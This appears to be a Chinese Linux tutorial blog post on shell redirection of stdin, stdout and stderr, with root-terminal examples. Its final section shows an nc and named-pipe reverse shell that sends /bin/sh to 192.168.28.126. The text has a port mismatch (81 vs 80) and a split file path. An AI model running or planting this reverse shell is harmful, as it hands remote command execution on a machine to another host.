



链滴

# linux shell 之 输入输出重定向

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原文链接: <https://ld246.com/article/1395661371571>

来源网站: [链滴](#)

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<p>  
<strong>1, 标准输出, 及错误输出&nbsp;&nbsp;&nbsp;</strong>

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<p>

标注输出: 指令执行所回传的正确信息  
标准错误输出: 指令执行失败所传回来的信息

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```
<pre class="prettyprint"> 标准输入 (stdin): 代码 0, 使用 &lt; 或 &lt;&lt;;  
标准输出 (stdout): 代码 1, 使用 &gt; 或 &gt;&gt;;  
标准错误输出 (stderr): 代码 2, 使用 2&gt; 或 2&gt;&gt;; </pre>
```

<p>

看着很简单明白吧, :-), 来看看示例吧

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<p>

<strong>1, 标准错误出书</strong>

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```
<pre class="prettyprint lang-bsh">[root@c2y2 /]# cat /test 2&gt;1.txt  
[root@c2y2 /]# cat 1.txt  
cat: /test: No such file or directory  
[root@c2y2 /]#  
</pre>
```

<strong>2, 标准输出</strong>

```
<pre class="prettyprint lang-bsh">[root@c2y2 /]# ls -al 1&gt;ls.txt
```

```
[root@c2y2 /]# cat ls.txt
```

```
total 15194
```

```
dr-xr-xr-x. 25 root root 4096 Mar 24 23:26 .  
dr-xr-xr-x. 25 root root 4096 Mar 24 23:26 ..  
-rw-r--r--. 1 root root 38 Mar 24 23:24 1.txt  
-rw-r--r--. 1 root root 0 Mar 13 00:37 .autofsck  
dr-xr-xr-x. 2 root root 4096 Mar 14 03:20 bin  
dr-xr-xr-x. 5 root root 1024 Feb 12 21:54 boot  
drwx-----. 3 root root 4096 Feb 25 2013 .dbus  
drwxr-xr-x. 17 root root 3580 Mar 22 22:44 dev  
drwxr-xr-x. 118 root root 12288 Mar 22 15:07 etc  
drwxr-xr-x. 3 root root 4096 Feb 25 22:03 home  
dr-xr-xr-x. 18 root root 12288 Mar 13 14:01 lib  
drwx-----. 2 root root 16384 Feb 25 2013 lost+found  
-rw-r--r--. 1 root root 0 Mar 24 23:26 ls.txt  
drwxr-xr-x. 3 root root 4096 Feb 12 08:59 media  
drwxr-xr-x. 2 root root 4096 Feb 27 2013 media2  
drwxr-xr-x. 2 root root 0 Mar 13 00:37 misc  
drwxr-xr-x. 2 root root 4096 Sep 23 2011 mnt  
drwxr-xr-x. 2 root root 0 Mar 13 00:37 net  
drwxr-xr-x. 5 root root 4096 Feb 19 20:15 opt  
dr-xr-xr-x. 123 root root 0 Mar 13 00:31 proc  
dr-xr-x---. 21 root root 4096 Mar 24 23:22 root  
dr-xr-xr-x. 2 root root 12288 Mar 13 14:01 sbin  
drwxr-xr-x. 7 root root 0 Mar 13 00:31 selinux  
drwxr-xr-x. 2 root root 4096 Sep 23 2011 srv  
drwxr-xr-x. 13 root root 0 Mar 13 00:31 sys  
drwxrwxrwt. 6 root root 4096 Mar 24 22:23 tmp  
drwxr-xr-x. 14 root root 4096 Feb 22 12:55 usr  
drwxr-xr-x. 22 root root 4096 Feb 25 2013 var  
[root@c2y2 /]# </pre>
```

<p>

<strong>3, 标准输入</strong>

</p>

<p>

```
[root@c2y2 /]# cat &gt; ltest.txt 0&lt; ls.txt<br />
```

```
[root@c2y2 /]# cat ltest.txt&nbsp;<br />
```

```
total 15194<br />
```

```
dr-xr-xr-x. &nbsp;&nbsp;&nbsp;25 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Mar 24 23:26 .<br />
```

```
dr-xr-xr-x. &nbsp;&nbsp;&nbsp;25 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Mar 24 23:26 ..<br />
```

```
-rw-r--r--. &nbsp;&nbsp;&nbsp;1 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 38 Mar 24 23:24 1.txt<br />
```

```
-rw-r--r--. &nbsp;&nbsp;&nbsp;1 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0 Mar 13 00:37 .autofsck<br />
```

```
dr-xr-xr-x. &nbsp;&nbsp;&nbsp;2 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Mar 14 03:20 bin<br />
```

```
dr-xr-xr-x. &nbsp;&nbsp;&nbsp;5 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 1024 Feb 12 21:54 boot<br />
```

```
drwx-----. &nbsp;&nbsp;&nbsp;3 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Feb 25 &nbsp;&nbsp;&nbsp;2013 .dbus<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;17 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 3580 Mar 22 22:44 dev<br />
```

```
drwxr-xr-x. 118 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 12288 Mar 22 15:07 etc<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;3 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Feb 25 22:03 home<br />
```

```
-rw-r--r--. &nbsp;&nbsp;&nbsp;1 root root 15438448 Feb 25 &nbsp;&nbsp;&nbsp;2013 initramfs-2.6.32-220.el6.i686.img
```

```
br />
```

```
dr-xr-xr-x. &nbsp;&nbsp;&nbsp;18 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 12288 Mar 13 14:01 lib<br />
```

```
drwx-----. &nbsp;&nbsp;&nbsp;2 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 16384 Feb 25 &nbsp;&nbsp;&nbsp;2013 lost+found<br />
```

```
-rw-r--r--. &nbsp;&nbsp;&nbsp;1 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0 Mar 24 23:26 ls.txt<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;3 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Feb 12 08:59 media<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;2 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Feb 27 &nbsp;&nbsp;&nbsp;2013 media2<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;2 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0 Mar 13 00:37 misc<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;2 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Sep 23 &nbsp;&nbsp;&nbsp;2011 mnt<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;2 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0 Mar 13 00:37 net<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;5 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Feb 19 20:15 opt<br />
```

```
dr-xr-xr-x. 123 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0 Mar 13 00:31 proc<br />
```

```
dr-xr-x---. &nbsp;&nbsp;&nbsp;21 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Mar 24 23:22 root<br />
```

```
dr-xr-xr-x. &nbsp;&nbsp;&nbsp;2 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 12288 Mar 13 14:01 sbin<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;7 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0 Mar 13 00:31 selinux<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;2 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Sep 23 &nbsp;&nbsp;&nbsp;2011 srv<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;13 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0 Mar 13 00:31 sys<br />
```

```
drwxrwxrwt. &nbsp;&nbsp;&nbsp;6 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Mar 24 22:23 tmp<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;14 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Feb 22 12:55 usr<br />
```

```
drwxr-xr-x. &nbsp;&nbsp;&nbsp;22 root root &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096 Feb 25 &nbsp;&nbsp;&nbsp;2013 var<br />
```

```
[root@c2y2 /]#&nbsp;<br />
```

</p>

<p>

<strong>4, 综合标准输入输出合起来, 通过nc及管道建立反弹</strong>

</p>

```
<pre class="prettyprint lang-bsh">服务器端: /bin/sh 0&lt;/tmp/testpipe |nc 192.168.28.126 81&gt;/tmp/testpipe</pre>
```

```
<pre class="prettyprint lang-bsh">客户端: nc -lvp 80</pre>
```

:-), 这样我们就可以在本地客户端实现shell交互了<br />

命令分解: <br />

服务器端两部曲: <br />

首先创建管道<br />

```
<pre class="prettyprint lang-bsh"> mknod /tmp/testpipe p</pre>
```

然后就综合了:

```
<pre class="prettyprint lang-bsh">
```

```
<pre class="prettyprint lang-bsh">/bin/sh 0&lt;/tmp/testpipe |nc 192.168.28.126 80 1&gt;/t
```

```
p/testpipe<span></span></pre>
```

工作原理：首先将管道testpipe内容作为标准输入为bash执行，并将结果通过 '|' 输入到远端192.168.28.126，而远端的输入又将重定向输入本地管道testpipe，而testpipe又将作为标注输入到bash执行，就这么一个循环，一个交互shell就这样ok了

```
<p>  
 管道：  
</p>  
<p>  
  &nbsp; &nbsp; &nbsp; 1, 管道命令仅能处理标准的输入输出  
</p>  
<p>  
  &nbsp; &nbsp; &nbsp; 2, 管道的输出必须能接受前一个指令的标准输出为标准输入并继续执行  
</p>  
<p>  
  &nbsp; &nbsp; &nbsp; &nbsp; 3,建立管道的方式： mknod xxx p 或者mkfifo xxx  
</p>  
<span></span>
```